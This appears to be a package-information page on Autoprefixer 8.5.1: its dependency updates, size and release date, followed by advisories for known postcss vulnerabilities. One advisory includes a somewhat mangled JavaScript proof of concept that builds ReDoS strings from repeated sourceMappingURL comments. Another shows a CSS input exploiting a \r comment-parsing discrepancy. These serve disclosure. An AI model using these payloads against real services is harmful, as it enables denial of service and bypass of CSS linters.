Autoprefixer version 8.5.1 is a minor patch update to the popular CSS prefixing tool, building upon the previous stable version 8.5.0. Both versions share the core functionality of parsing CSS and adding vendor prefixes based on data from "Can I Use," ensuring compatibility across different browsers and their versions. Key dependencies like postcss, num2fraction, normalize-range, and postcss-value-parser remain consistent, indicating no major architectural changes.
The primary difference lies within the updated dependencies browserslist and caniuse-lite. Specifically, browserslist is updated from version 3.2.7 to 3.2.8, and caniuse-lite sees a jump from version 1.0.30000839 to 1.0.30000846. These updates suggest improvements in browser support detection and the inclusion of more recent data on browser compatibility, respectively. For developers, this means that version 8.5.1 potentially offers more accurate and comprehensive prefixing, leading to better cross-browser compatibility and a reduced risk of outdated prefixes. The slight increase in unpacked size, from 336328 to 336507, is attributable to the updated data within caniuse-lite. The update was released on May 25th, 2018, twelve days after the previous one. Overall, version 8.5.1 represents a recommended upgrade for autoprefixer users, ensuring they benefit from the latest browser compatibility data improvements delivered through browserslist and caniuse-lite.
All the vulnerabilities related to the version 8.5.1 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.